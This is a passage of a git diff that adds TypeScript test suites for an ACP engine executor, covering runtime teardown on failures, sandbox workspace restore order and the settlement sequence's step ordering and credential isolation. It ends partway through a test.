+  it("test_pre_turn_failure_after_handle_closes_runtime_except_create_runtime", async () => {
+    // Once a runtime handle exists, every pre-turn failure closes the runtime —
+    // missing handle (execute.ts:3633, synthesized handle), configure_session
+    // (:3716), prepare_turn (:4016) — EXCEPT create_runtime, where no runtime was
+    // ever constructed (:3662-3697). Each path returns a settled error with its
+    // phase. (The handshake close path needs a handle obtained first via the warm
+    // hit — pinned separately below, mirroring the F2 test.)
+    const scenarios: Array<{
+      name: string;
+      phase: string;
+      expectClose: boolean;
+      // Builds the engine `createRuntime` given the shared close spy. The
+      // create_runtime scenario ignores the spy and throws before a runtime exists.
+      makeCreateRuntime: (close: () => Promise<void>) => AcpxEngineExecutorOptions["createRuntime"];
+      config: Record<string, unknown>;
+      context: Record<string, unknown>;
+    }> = [
+      {
+        name: "missing_handle",
+        phase: "ensure_session",
+        expectClose: true,
+        makeCreateRuntime: (close) => () =>
+          ({
+            ensureSession: async () => undefined,
+            startTurn: () => completedTurn(),
+            close,
+          }) as never,
+        config: {},
+        context: {},
+      },
+      {
+        name: "configure_session",
+        phase: "configure_session",
+        expectClose: true,
+        makeCreateRuntime: (close) => () =>
+          ({
+            ensureSession: async () => okHandle,
+            // A configured model on a non-claude/non-codex agent yields one session
+            // config option; a throwing setConfigOption drives the configure failure.
+            setConfigOption: async () => {
+              throw new Error("config boom");
+            },
+            startTurn: () => completedTurn(),
+            close,
+          }) as never,
+        config: { model: "custom-model-x" },
+        context: {},
+      },
+      {
+        name: "prepare_turn",
+        phase: "prepare_turn",
+        expectClose: true,
+        makeCreateRuntime: (close) => () =>
+          ({
+            ensureSession: async () => okHandle,
+            startTurn: () => completedTurn(),
+            close,
+          }) as never,
+        config: {},
+        context: throwingHandoffContext(),
+      },
+      {
+        name: "create_runtime",
+        phase: "create_runtime",
+        expectClose: false,
+        makeCreateRuntime: () => () => {
+          throw new Error("createRuntime boom");
+        },
+        config: {},
+        context: {},
+      },
+    ];
+
+    for (const scenario of scenarios) {
+      const root = await makeTempRoot();
+      const closeSpy = vi.fn(async () => {});
+      const execute = createAcpxEngineExecutor({
+        createRuntime: scenario.makeCreateRuntime(closeSpy),
+      });
+
+      const result = await execute({
+        runId: `preturn-${scenario.name}`,
+        agent: { id: "agent-1", companyId: "company-1" },
+        runtime: {},
+        config: {
+          agent: "custom",
+          agentCommand: "node ./fake-acp.js",
+          stateDir: path.join(root, "state"),
+          ...scenario.config,
+        },
+        context: scenario.context,
+        onLog: async () => {},
+        onMeta: async () => {},
+      } as never);
+
+      expect(result.exitCode, `${scenario.name} exit`).toBe(1);
+      expect(result.resultJson?.phase, `${scenario.name} phase`).toBe(scenario.phase);
+      if (scenario.expectClose) {
+        expect(closeSpy, `${scenario.name} closes the runtime`).toHaveBeenCalledTimes(1);
+      } else {
+        // create_runtime failed before a runtime existed, so there is nothing to close.
+        expect(closeSpy, `${scenario.name} never constructs a runtime`).not.toHaveBeenCalled();
+      }
+    }
+  });
+
+  it("test_handshake_failure_on_second_run_closes_the_recreated_runtime", async () => {
+    // Amendment B: the first clean persistent turn closes and relaunches instead of
+    // warm-saving, so the second run finds no warm handle. The second run re-creates
+    // the runtime and fails while persisting process identity (onSpawn throws); the
+    // handshake failure closes the re-created runtime. The host-lane warm-hit
+    // teardown path itself is characterized by the composed fault matrix.
+    const root = await makeTempRoot();
+    const stateDir = path.join(root, "state");
+    const startedAt = "2026-01-01T00:00:00.000Z";
+    const closeSpy = vi.fn(async () => {});
+    let created = 0;
+    const warmHandles = new Map();
+    const execute = createAcpxEngineExecutor({
+      warmHandles,
+      createRuntime: (options) => {
+        created += 1;
+        const opts = options as {
+          onAgentSpawn?: (meta: { pid: number; startedAt: string }) => Promise<void>;
+        };
+        return {
+          ensureSession: async () => {
+            await opts.onAgentSpawn?.({ pid: 4242, startedAt });
+            return okHandle;
+          },
+          startTurn: () => completedTurn(),
+          close: closeSpy,
+        } as never;
+      },
+    });
+    const config = {
+      agent: "custom",
+      agentCommand: "node ./fake-acp.js",
+      stateDir,
+      mode: "persistent",
+      warmHandleIdleMs: 60_000,
+    };
+
+    const first = await execute({
+      runId: "warm-handshake-1",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: {},
+      config,
+      context: {},
+      onLog: async () => {},
+      onMeta: async () => {},
+      onSpawn: async () => {},
+    } as never);
+    expect(first.exitCode).toBe(0);
+    // Amendment B: no warm entry survives the first clean persistent turn.
+    expect(warmHandles.size).toBe(0);
+    expect(created).toBe(1);
+
+    const second = await execute({
+      runId: "warm-handshake-2",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: { sessionParams: first.sessionParams },
+      config,
+      context: {},
+      onLog: async () => {},
+      onMeta: async () => {},
+      onSpawn: async () => {
+        throw new Error("onSpawn boom");
+      },
+    } as never);
+
+    // The second run re-created the runtime (no warm reuse) and closed it on the
+    // failure, reporting the ensure_session phase. Both runtimes closed.
+    expect(created).toBe(2);
+    expect(second.exitCode).toBe(1);
+    expect(second.resultJson?.phase).toBe("ensure_session");
+    expect(closeSpy).toHaveBeenCalledTimes(2);
+    expect(warmHandles.size).toBe(0);
+  });
+
+  it("test_terminal_close_reason_and_discard_persistent_state_per_outcome", async () => {
+    // The terminal block (execute.ts:3869-3928) closes with an outcome-specific
+    // reason and discards persistent state only on cancel/timeout.
+    const cases: Array<{
+      status: "completed" | "failed" | "cancelled";
+      reason: string;
+      discard: boolean;
+      exitCode: number;
+    }> = [
+      { status: "completed", reason: "paperclip completed turn cleanup", discard: false, exitCode: 0 },
+      { status: "failed", reason: "paperclip turn failed", discard: false, exitCode: 1 },
+      { status: "cancelled", reason: "paperclip turn cancelled", discard: true, exitCode: 1 },
+    ];
+
+    for (const testCase of cases) {
+      const root = await makeTempRoot();
+      const closeSpy = vi.fn(async () => {});
+      const execute = createAcpxEngineExecutor({
+        createRuntime: () =>
+          ({
+            ensureSession: async () => okHandle,
+            startTurn: () => ({
+              events: (async function* () {
+                yield { type: "done", stopReason: "end_turn" };
+              })(),
+              result:
+                testCase.status === "failed"
+                  ? Promise.resolve({ status: "failed", error: new Error("turn boom") })
+                  : testCase.status === "cancelled"
+                    ? Promise.resolve({ status: "cancelled", stopReason: "cancelled" })
+                    : Promise.resolve({ status: "completed", stopReason: "end_turn" }),
+              cancel: async () => {},
+            }),
+            close: closeSpy,
+          }) as never,
+      });
+
+      const result = await execute({
+        runId: `terminal-${testCase.status}`,
+        agent: { id: "agent-1", companyId: "company-1" },
+        runtime: {},
+        config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir: path.join(root, "state") },
+        context: {},
+        onLog: async () => {},
+        onMeta: async () => {},
+      } as never);
+
+      expect(result.exitCode, `${testCase.status} exit`).toBe(testCase.exitCode);
+      expect(closeSpy, `${testCase.status} closes once`).toHaveBeenCalledTimes(1);
+      expect((closeSpy.mock.calls[0]! as unknown[])[0], `${testCase.status} close args`).toMatchObject({
+        reason: testCase.reason,
+        discardPersistentState: testCase.discard,
+      });
+    }
+  });
+
+  it("test_teardown_continues_after_one_step_fails_and_records_it", async () => {
+    // Corrected F3 policy (execute.ts:3374-3393): a failing teardown step is
+    // recorded and swallowed; later steps still run and the lease still releases.
+    const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
+    const { paperclipStops, processStops, anyStopped } = stubBridges();
+    const stagingLocks = new Map<string, Promise<unknown>>();
+    const logs: Array<{ stream: string; text: string }> = [];
+    const execute = createAcpxEngineExecutor({
+      stagingLocks,
+      warmHandles: new Map(),
+      stagedRuntimes: new Map(),
+      createRuntime: () =>
+        ({
+          ensureSession: async () => okHandle,
+          startTurn: () => throwingTurn(),
+          close: async () => {
+            throw new Error("close boom");
+          },
+        }) as never,
+    });
+
+    const result = await execute({
+      runId: "td-continue",
+      ...remoteArgs(stateDir, localCwd, executionTarget, {
+        onLog: async (stream: "stdout" | "stderr", text: string) => {
+          logs.push({ stream, text });
+        },
+      }),
+    } as never);
+
+    expect(result.exitCode).toBe(1);
+    expect(anyStopped(paperclipStops)).toBe(true);
+    expect(anyStopped(processStops)).toBe(true);
+    expect(stagingLocks.size).toBe(0);
+    expect(
+      logs.some(
+        (entry) =>
+          entry.stream === "stderr" && entry.text.includes('teardown step "runtime-close" failed'),
+      ),
+    ).toBe(true);
+  });
+
+  it("test_teardown_failure_does_not_change_external_result", async () => {
+    // A teardown fault never leaks into the external result; the exit cause (the
+    // turn failure) stands (execute.ts F3 policy).
+    const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
+    stubBridges();
+    const execute = createAcpxEngineExecutor({
+      warmHandles: new Map(),
+      stagedRuntimes: new Map(),
+      stagingLocks: new Map(),
+      createRuntime: () =>
+        ({
+          ensureSession: async () => okHandle,
+          startTurn: () => throwingTurn(),
+          close: async () => {
+            throw new Error("close boom");
+          },
+        }) as never,
+    });
+
+    const result = await execute({
+      runId: "td-result",
+      ...remoteArgs(stateDir, localCwd, executionTarget),
+    } as never);
+
+    expect(result.exitCode).toBe(1);
+    expect(result.resultJson?.phase).toBe("turn");
+    expect(result.errorCode).toBe("acpx_turn_failed");
+    expect(result.errorMessage).toContain("turn upstream boom");
+    expect(result.errorMessage).not.toContain("close boom");
+  });
+});
+
+// ===========================================================================
+// Layer B — restoreWorkspace internal order + native-sync selection.
+// ===========================================================================
+
+function toArrayBuffer(bytes: Buffer): ArrayBuffer {
+  return bytes.buffer.slice(bytes.byteOffset, bytes.byteOffset + bytes.byteLength) as ArrayBuffer;
+}
+
+// A filesystem-backed managed-runtime client with the non-native base64-tar
+// FALLBACK `syncIn` (mirrors sandbox-managed-runtime.test.ts `makeFilesystemClient`
+// / `attachFallbackSyncIn`). `runCommands` records every `run` so a test can prove
+// which restore transfer path the orchestrator took. When `withNativeSyncOut` is
+// set, a native `syncOut` is attached so the client advertises BOTH directions.
+function makeFsClient(options: {
+  runCommands?: string[];
+  syncOutCalls?: { count: number };
+  withNativeSyncOut?: boolean;
+}): SandboxManagedRuntimeClient {
+  const client: SandboxManagedRuntimeClient = {
+    makeDir: async (remotePath) => {
+      await fs.mkdir(remotePath, { recursive: true });
+    },
+    writeFile: async (remotePath, bytes) => {
+      await fs.mkdir(path.dirname(remotePath), { recursive: true });
+      await fs.writeFile(remotePath, Buffer.from(bytes));
+    },
+    readFile: async (remotePath) => await fs.readFile(remotePath),
+    listFiles: async (remotePath) => {
+      const entries = await fs.readdir(remotePath, { withFileTypes: true }).catch(() => []);
+      return entries
+        .filter((entry) => entry.isFile())
+        .map((entry) => entry.name)
+        .sort((left, right) => left.localeCompare(right));
+    },
+    remove: async (remotePath) => {
+      await fs.rm(remotePath, { recursive: true, force: true });
+    },
+    run: async (command) => {
+      options.runCommands?.push(command);
+      await execFile("sh", ["-c", command], { maxBuffer: 32 * 1024 * 1024 });
+    },
+  };
+  client.syncIn = async (operations: SandboxSyncOperation[]): Promise<SandboxSyncResult> => {
+    const resultOperations: SandboxSyncResult["operations"] = [];
+    for (const operation of operations) {
+      let filesTransferred = 0;
+      let bytesTransferred = 0;
+      for (const mapping of operation.files) {
+        const bytes = await fs.readFile(mapping.sourcePath);
+        await client.makeDir(path.posix.dirname(mapping.targetPath));
+        await client.writeFile(mapping.targetPath, toArrayBuffer(bytes));
+        filesTransferred += 1;
+        bytesTransferred += bytes.byteLength;
+      }
+      for (const command of operation.postUploadCommands ?? []) {
+        await client.run(command.command, { timeoutMs: command.timeoutMs ?? 30_000 });
+      }
+      resultOperations.push({ operationId: operation.operationId, filesTransferred, bytesTransferred });
+    }
+    return { operations: resultOperations };
+  };
+  if (options.withNativeSyncOut) {
+    // Native outbound: materialize the sandbox workspace tree directly into the
+    // host destination (a directory file mapping), never through the tarball run.
+    client.syncOut = async (operations: SandboxSyncOperation[]): Promise<SandboxSyncResult> => {
+      if (options.syncOutCalls) options.syncOutCalls.count += 1;
+      const resultOperations: SandboxSyncResult["operations"] = [];
+      for (const operation of operations) {
+        for (const mapping of operation.files) {
+          await fs.mkdir(mapping.targetPath, { recursive: true });
+          await mirrorDirectory(mapping.sourcePath, mapping.targetPath);
+        }
+        resultOperations.push({ operationId: operation.operationId, filesTransferred: 1, bytesTransferred: 0 });
+      }
+      return { operations: resultOperations };
+    };
+  }
+  return client;
+}
+
+async function git(cwd: string, args: string[]): Promise<string> {
+  const { stdout } = await execFile("git", ["-C", cwd, ...args], { maxBuffer: 32 * 1024 * 1024 });
+  return stdout.trim();
+}
+
+describe("ACP settlement — Layer B: restoreWorkspace order + native-sync selection", () => {
+  it("test_non_git_workspace_restore_phase_order_and_preserve_absent_via_tarball_fallback", async () => {
+    // Model on sandbox-managed-runtime.test.ts "syncs workspace and assets through
+    // a provider-neutral sandbox client" (~:342). A client that exposes only the
+    // fallback `syncIn` (no `syncOut`) drives the remote-tarball restore transfer
+    // (sandbox-managed-runtime.ts:1192-1218) and the finalize ordering.
+    const root = await makeTempRoot();
+    const localWorkspaceDir = path.join(root, "local-workspace");
+    const remoteWorkspaceDir = path.join(root, "remote-workspace");
+    await fs.mkdir(path.join(localWorkspaceDir, ".claude"), { recursive: true });
+    await fs.writeFile(path.join(localWorkspaceDir, "README.md"), "local workspace\n", "utf8");
+    await fs.writeFile(path.join(localWorkspaceDir, ".claude", "settings.json"), '{"local":true}\n', "utf8");
+
+    const runCommands: string[] = [];
+    const client = makeFsClient({ runCommands });
+    // A fallback-only client never advertises native outbound.
+    expect(client.syncOut).toBeUndefined();
+
+    const runtimeStatuses: string[] = [];
+    const prepared = await prepareSandboxManagedRuntime({
+      spec: {
+        transport: "sandbox",
+        provider: "test",
+        sandboxId: "sandbox-1",
+        remoteCwd: remoteWorkspaceDir,
+        timeoutMs: 30_000,
+        apiKey: null,
+      },
+      adapterKey: "test-adapter",
+      client,
+      workspaceLocalDir: localWorkspaceDir,
+      workspaceExclude: [".claude"],
+      preserveAbsentOnRestore: [".claude"],
+      onRuntimeProgress: async (status) => {
+        runtimeStatuses.push(`${status.phase}:${status.message}`);
+      },
+    });
+
+    // Staging excluded the host-managed `.claude` from the sandbox.
+    await expect(
+      fs.readFile(path.join(remoteWorkspaceDir, ".claude", "settings.json"), "utf8"),
+    ).rejects.toMatchObject({ code: "ENOENT" });
+
+    await fs.writeFile(path.join(remoteWorkspaceDir, "README.md"), "remote workspace\n", "utf8");
+    await fs.writeFile(path.join(remoteWorkspaceDir, "remote-only.txt"), "sync back\n", "utf8");
+    await prepared.restoreWorkspace();
+
+    // Sync-back applied the remote edits; the preserved-absent `.claude` stayed.
+    await expect(fs.readFile(path.join(localWorkspaceDir, "README.md"), "utf8")).resolves.toBe(
+      "remote workspace\n",
+    );
+    await expect(fs.readFile(path.join(localWorkspaceDir, "remote-only.txt"), "utf8")).resolves.toBe(
+      "sync back\n",
+    );
+    await expect(
+      fs.readFile(path.join(localWorkspaceDir, ".claude", "settings.json"), "utf8"),
+    ).resolves.toBe('{"local":true}\n');
+
+    // The fallback restore built the remote workspace-download tarball via `run`.
+    expect(runCommands.some((command) => command.includes("workspace-download.tar"))).toBe(true);
+    // Phase order: config_sync (staging) → restore → finalize (finalize last).
+    expect(runtimeStatuses).toEqual(
+      expect.arrayContaining([
+        "config_sync:Syncing workspace to environment",
+        "restore:Restoring workspace from environment",
+        "finalize:Finalizing workspace",
+      ]),
+    );
+    expect(runtimeStatuses.at(-1)).toBe("finalize:Finalizing workspace");
+  });
+
+  it("test_git_backed_workspace_restore_phase_order", async () => {
+    // Model on sandbox-managed-runtime.test.ts "syncs git-backed workspaces through
+    // a shallow standalone clone…" (~:441). A git workspace adds the git_sync and
+    // export phases around the same config_sync/restore/finalize spine.
+    const root = await makeTempRoot();
+    const sourceRepoDir = path.join(root, "source-repo");
+    const localWorkspaceDir = path.join(root, "local-worktree");
+    const remoteWorkspaceDir = path.join(root, "remote-workspace");
+
+    await fs.mkdir(sourceRepoDir, { recursive: true });
+    await git(sourceRepoDir, ["init"]);
+    await git(sourceRepoDir, ["checkout", "-b", "main"]);
+    await git(sourceRepoDir, ["config", "user.name", "Paperclip Test"]);
+    await git(sourceRepoDir, ["config", "user.email", "test@paperclip.dev"]);
+    await fs.writeFile(path.join(sourceRepoDir, "tracked.txt"), "base\n", "utf8");
+    await git(sourceRepoDir, ["add", "tracked.txt"]);
+    await git(sourceRepoDir, ["commit", "-m", "base"]);
+    await git(sourceRepoDir, ["worktree", "add", "-b", "work", localWorkspaceDir, "HEAD"]);
+    await fs.writeFile(path.join(localWorkspaceDir, "tracked.txt"), "dirty local\n", "utf8");
+
+    const client = makeFsClient({});
+    const phases: string[] = [];
+    const prepared = await prepareSandboxManagedRuntime({
+      spec: {
+        transport: "sandbox",
+        provider: "test",
+        sandboxId: "sandbox-1",
+        remoteCwd: remoteWorkspaceDir,
+        timeoutMs: 30_000,
+        apiKey: null,
+      },
+      adapterKey: "test-adapter",
+      client,
+      workspaceLocalDir: localWorkspaceDir,
+      onRuntimeProgress: async (status) => {
+        phases.push(status.phase);
+      },
+    });
+
+    // The sandbox holds a real git worktree seeded from the host history.
+    expect((await git(remoteWorkspaceDir, ["rev-list", "--count", "HEAD"]))).toBe("1");
+    await git(remoteWorkspaceDir, ["config", "user.name", "Paperclip Sandbox"]);
+    await git(remoteWorkspaceDir, ["config", "user.email", "sandbox@paperclip.dev"]);
+    await git(remoteWorkspaceDir, ["add", "-A"]);
+    await git(remoteWorkspaceDir, ["commit", "-m", "sandbox update"]);
+    await fs.writeFile(path.join(remoteWorkspaceDir, "remote-only.txt"), "from sandbox\n", "utf8");
+
+    await prepared.restoreWorkspace();
+
+    // The sandbox commit imported back onto the host worktree.
+    expect(await git(localWorkspaceDir, ["log", "-1", "--pretty=%s"])).toBe("sandbox update");
+    await expect(fs.readFile(path.join(localWorkspaceDir, "remote-only.txt"), "utf8")).resolves.toBe(
+      "from sandbox\n",
+    );
+    expect(phases).toEqual(
+      expect.arrayContaining(["git_sync", "config_sync", "export", "restore", "finalize"]),
+    );
+    expect(phases.at(-1)).toBe("finalize");
+  });
+
+  it("test_native_syncOut_client_restores_through_native_transfer_not_tarball", async () => {
+    // The consumer reads `nativeSyncOut = typeof client.syncOut === "function"`
+    // (sandbox-managed-runtime.ts:775) and branches at :1163: with both directions
+    // native it uses `client.syncOut`, never the workspace-download tarball.
+    const root = await makeTempRoot();
+    const localWorkspaceDir = path.join(root, "local-workspace");
+    const remoteWorkspaceDir = path.join(root, "remote-workspace");
+    await fs.mkdir(localWorkspaceDir, { recursive: true });
+    await fs.writeFile(path.join(localWorkspaceDir, "README.md"), "local workspace\n", "utf8");
+
+    const runCommands: string[] = [];
+    const syncOutCalls = { count: 0 };
+    const client = makeFsClient({ runCommands, syncOutCalls, withNativeSyncOut: true });
+    // With both directions the client advertises native outbound.
+    expect(client.syncOut).toBeTypeOf("function");
+
+    const prepared = await prepareSandboxManagedRuntime({
+      spec: {
+        transport: "sandbox",
+        provider: "test",
+        sandboxId: "sandbox-1",
+        remoteCwd: remoteWorkspaceDir,
+        timeoutMs: 30_000,
+        apiKey: null,
+      },
+      adapterKey: "test-adapter",
+      client,
+      workspaceLocalDir: localWorkspaceDir,
+    });
+
+    await fs.writeFile(path.join(remoteWorkspaceDir, "README.md"), "remote workspace\n", "utf8");
+    await fs.writeFile(path.join(remoteWorkspaceDir, "remote-only.txt"), "native sync\n", "utf8");
+    await prepared.restoreWorkspace();
+
+    // The native outbound transfer ran and applied the remote edits...
+    expect(syncOutCalls.count).toBeGreaterThanOrEqual(1);
+    await expect(fs.readFile(path.join(localWorkspaceDir, "README.md"), "utf8")).resolves.toBe(
+      "remote workspace\n",
+    );
+    await expect(fs.readFile(path.join(localWorkspaceDir, "remote-only.txt"), "utf8")).resolves.toBe(
+      "native sync\n",
+    );
+    // ...and the tarball fallback was NOT used.
+    expect(runCommands.some((command) => command.includes("workspace-download.tar"))).toBe(false);
+  });
+});
+
+// ===========================================================================
+// Layer C — sync-back registration at the engine seam.
+//
+// The three real adapters each register a restoreWorkspace-backed teardown via
+// their managed-home seam: codex packages/adapters/codex-local/src/server/acp.ts
+// (teardown ~:239-258, wired by withCodexAcpDefaults ~:277); claude
+// packages/adapters/claude-local/src/server/acp.ts (registerWorkspaceSyncBack
+// ~:201-215, wired by withClaudeAcpDefaults ~:292); gemini
+// packages/adapters/gemini-local/src/server/acp.ts (registerWorkspaceSyncBack
+// ~:163-177, wired by withGeminiAcpDefaults ~:249). Those adapter packages are
+// NOT dependencies of adapter-utils and resolve only to the canonical app
+// checkout (not this worktree), and the plugin-sdk env-sync-negotiation helpers
+// (definePlugin/startWorkerRpcHost) are not public exports — importing them from
+// an adapter-utils test is infeasible/fragile. So this pins the adapter-agnostic
+// sync-back at the engine seam: `prepareRemoteManagedHome` returns a `teardown`
+// (the same shape each adapter registers), and the engine fires it exactly once
+// on the exit/cleanup path (mirrors execute.test.ts
+// test_remote_seam_teardown_fires_once_on_exit :2556).
+// ===========================================================================
+describe("ACP settlement — Layer C: per-adapter sync-back teardown fires once at the engine seam", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+  });
+
+  it("test_engine_fires_each_adapter_named_sync_back_teardown_exactly_once", async () => {
+    for (const adapter of ["codex", "claude", "gemini"] as const) {
+      const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
+      let teardownCalls = 0;
+      await runExecutor(
+        { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir, cwd: localCwd },
+        {
+          authToken: "real-run-jwt",
+          executionTarget,
+          // The seam stands in for `${adapter}`'s registerWorkspaceSyncBack: it
+          // returns a teardown that would call stagedRuntime.restoreWorkspace(...).
+          prepareRemoteManagedHome: async (input) => {
+            const stagedRuntime = await input.stage([]);
+            return {
+              stagedRuntime,
+              teardown: async () => {
+                teardownCalls += 1;
+              },
+            };
+          },
+        },
+      );
+
+      expect(teardownCalls, `${adapter} sync-back teardown fires exactly once`).toBe(1);
+    }
+  });
+});
diff --git a/packages/adapter-utils/src/acpx-engine/settlement-sequence.test.ts b/packages/adapter-utils/src/acpx-engine/settlement-sequence.test.ts
new file mode 100644
index 00000000000..6f3578e79a2
--- /dev/null
+++ b/packages/adapter-utils/src/acpx-engine/settlement-sequence.test.ts
@@ -0,0 +1,323 @@
+import { describe, expect, it } from "vitest";
+import {
+  decideReuse,
+  settleAcpRun,
+  type ReuseCandidateInput,
+  type ReuseDecision,
+  type SettlementSlots,
+  type SettlementSteps,
+} from "./settlement-sequence.js";
+import { createRunResourceLedger } from "./run-resource-ledger.js";
+import type { AcquiredRunResources, ResourceId, SettlementCause } from "./run-contracts.js";
+
+// The settlement sequence is the one cleanup owner. These tests drive it with
+// fakes for the steps and assert the claim, the order, the Phase 3 error policy,
+// the staging-lease finally, and the Amendment B credential gate. They never
+// touch the engine's real run state.
+
+// Register a per-run resource for each id, with an optional payload the steps
+// read. The tests do not seal the ledger; `takeForSettlement` runs from `open`.
+function ledgerWith(
+  ids: readonly ResourceId[],
+  payloads: Partial<Record<ResourceId, unknown>> = {},
+): AcquiredRunResources {
+  const ledger = createRunResourceLedger();
+  const register = ledger.register as (registration: {
+    id: ResourceId;
+    payload: unknown;
+    scope: "per_run";
+  }) => void;
+  for (const id of ids) {
+    register({ id, payload: payloads[id] ?? {}, scope: "per_run" });
+  }
+  return ledger;
+}
+
+// Count the claims so a test proves the sequence claims the ledger once.
+function countingLedger(inner: AcquiredRunResources): {
+  ledger: AcquiredRunResources;
+  claims: () => number;
+} {
+  let claims = 0;
+  const ledger: AcquiredRunResources = {
+    register: inner.register.bind(inner),
+    seal: inner.seal.bind(inner),
+    takeForSettlement: () => {
+      claims += 1;
+      return inner.takeForSettlement();
+    },
+  };
+  return { ledger, claims: () => claims };
+}
+
+// A base set of steps whose bodies record their name. Each test overrides the
+// steps it drives.
+function baseSteps(order: string[], overrides: Partial<SettlementSteps> = {}): SettlementSteps {
+  return {
+    reuseCandidate: overrides.reuseCandidate ?? (() => null),
+    endSession: overrides.endSession ?? (() => {
+      order.push("end_session");
+    }),
+    settleReuse: overrides.settleReuse ?? (() => {
+      order.push("settle_reuse");
+    }),
+    stopTransport: overrides.stopTransport ?? (() => {
+      order.push("stop_transport");
+    }),
+    syncBack: overrides.syncBack ?? (() => {
+      order.push("sync_back");
+    }),
+    releaseStagingLease: overrides.releaseStagingLease ?? (() => {
+      order.push("release_staging_lease");
+    }),
+    recordError: overrides.recordError ?? (() => {}),
+  };
+}
+
+const cleanTurnCause: SettlementCause | null = null;
+
+describe("ACPX settlement sequence", () => {
+  it("test_settlement_claims_ledger_once_then_runs_the_steps_in_order", async () => {
+    const order: string[] = [];
+    const { ledger, claims } = countingLedger(
+      ledgerWith(["acp_runtime", "control_bridge", "agent_bridge", "staging_lease"]),
+    );
+
+    await settleAcpRun(ledger, cleanTurnCause, baseSteps(order));
+
+    // The sequence claims the ledger exactly once.
+    expect(claims()).toBe(1);
+    // It runs the effect steps in the fixed order; the lease release runs last.
+    expect(order).toEqual([
+      "end_session",
+      "settle_reuse",
+      "stop_transport",
+      "sync_back",
+      "release_staging_lease",
+    ]);
+  });
+
+  it("test_every_step_noops_on_empty_slot", async () => {
+    const order: string[] = [];
+    // An empty ledger: no slot holds a resource. Each step reads its slot and
+    // no-ops when the slot is empty.
+    const ledger = ledgerWith([]);
+    const noopFor = (name: string, id: ResourceId) => (slots: SettlementSlots) => {
+      order.push(slots.has(id) ? `${name}:work` : `${name}:noop`);
+    };
+    const steps = baseSteps(order, {
+      endSession: noopFor("end_session", "acp_runtime"),
+      settleReuse: noopFor("settle_reuse", "acp_runtime"),
+      stopTransport: noopFor("stop_transport", "control_bridge"),
+      syncBack: noopFor("sync_back", "staged_runtime"),
+      releaseStagingLease: (slots) => {
+        order.push(slots.has("staging_lease") ? "release_staging_lease:work" : "release_staging_lease:noop");
+      },
+    });
+
+    const report = await settleAcpRun(ledger, cleanTurnCause, steps);
+
+    // Every step saw an empty slot and no-opped.
+    expect(order).toEqual([
+      "end_session:noop",
+      "settle_reuse:noop",
+      "stop_transport:noop",
+      "sync_back:noop",
+      "release_staging_lease:noop",
+    ]);
+    // An empty ledger yields an empty disposition report.
+    expect(report.records).toEqual([]);
+  });
+
+  it("test_transferred_runtime_is_never_closed_and_discarded_entry_is_finalized", async () => {
+    const order: string[] = [];
+    const ledger = ledgerWith(["acp_runtime", "staging_lease"], {
+      acp_runtime: { runtime: {}, sessionHandle: {}, childProcessPid: null },
+    });
+    const steps = baseSteps(order, {
+      // A clean host turn with no live run-scoped credential is save-eligible.
+      reuseCandidate: (): ReuseCandidateInput => ({
+        kind: "host",
+        causePermitsSave: true,
+        liveRunScopedCredentials: [],
+      }),
+      endSession: (_slots, decision) => {
+        // The transferred runtime is never closed.
+        order.push(decision.kind === "save" ? "kept" : "closed");
+      },
+      settleReuse: (_slots, decision) => {
+        order.push(decision.kind === "save" ? "transferred" : "discarded");
+      },
+    });
+
+    const report = await settleAcpRun(ledger, cleanTurnCause, steps);
+
+    // The runtime transferred; it was never closed.
+    expect(order).toContain("kept");
+    expect(order).not.toContain("closed");
+    expect(order).toContain("transferred");
+    // The report marks the transferred runtime `transferred` and the discarded
+    // staging lease `finalized`.
+    expect(report.records).toEqual([
+      { id: "acp_runtime", disposition: "transferred" },
+      { id: "staging_lease", disposition: "finalized" },
+    ]);
+  });
+
+  it("test_step_error_is_recorded_and_later_steps_still_run", async () => {
+    const order: string[] = [];
+    const recorded: string[] = [];
+    const boom = new Error("end_session boom");
+    const steps = baseSteps(order, {
+      endSession: () => {
+        throw boom;
+      },
+      recordError: (step, error) => {
+        recorded.push(step);
+        expect(error).toBe(boom);
+      },
+    });
+
+    await settleAcpRun(ledgerWith(["acp_runtime", "staging_lease"]), cleanTurnCause, steps);
+
+    // The failed step is recorded...
+    expect(recorded).toContain("end_session");
+    // ...and every later step still runs.
+    expect(order).toEqual([
+      "settle_reuse",
+      "stop_transport",
+      "sync_back",
+      "release_staging_lease",
+    ]);
+  });
+
+  it("test_staging_lease_release_runs_in_finally", async () => {
+    const order: string[] = [];
+    const recorded: string[] = [];
+    const steps = baseSteps(order, {
+      syncBack: () => {
+        throw new Error("sync_back boom");
+      },
+      recordError: (step) => {
+        recorded.push(step);
+      },
+    });
+
+    await settleAcpRun(ledgerWith(["staging_lease"]), cleanTurnCause, steps);
+
+    // The sync-back failure is recorded, and the lease release still runs.
+    expect(recorded).toContain("sync_back");
+    expect(order).toContain("release_staging_lease");
+  });
+
+  it("test_two_compatible_runs_do_not_share_run_scoped_credentials", async () => {
+    // Two compatible runs each own their ledger, bridge token, and run API key.
+    // Run B must never observe run A's run-scoped values.
+    const observed: Array<{ run: string; token: unknown; credentials: readonly string[] }> = [];
+    const settleRun = async (run: string, token: string, credential: string) => {
+      const ledger = ledgerWith(["acp_runtime", "control_bridge"], {
+        control_bridge: { token },
+      });
+      const steps = baseSteps([], {
+        reuseCandidate: (): ReuseCandidateInput => ({
+          kind: "host",
+          causePermitsSave: true,
+          liveRunScopedCredentials: [credential],
+        }),
+        stopTransport: (slots) => {
+          const bridge = slots.get("control_bridge") as { token: unknown } | undefined;
+          observed.push({ run, token: bridge?.token, credentials: [credential] });
+        },
+      });
+      return settleAcpRun(ledger, cleanTurnCause, steps);
+    };
+
+    await settleRun("A", "token-A", "run-api-key-A");
+    await settleRun("B", "token-B", "run-api-key-B");
+
+    const runA = observed.find((o) => o.run === "A");
+    const runB = observed.find((o) => o.run === "B");
+    // Run B observed only its own bridge token and credential, never run A's.
+    expect(runB?.token).toBe("token-B");
+    expect(runB?.token).not.toBe(runA?.token);
+    expect(runB?.credentials).not.toContain("run-api-key-A");
+  });
+
+  it("test_no_run_scoped_credential_appears_in_reuse_payload_or_telemetry", async () => {
+    const runScopedCredential = "run-api-key-secret";
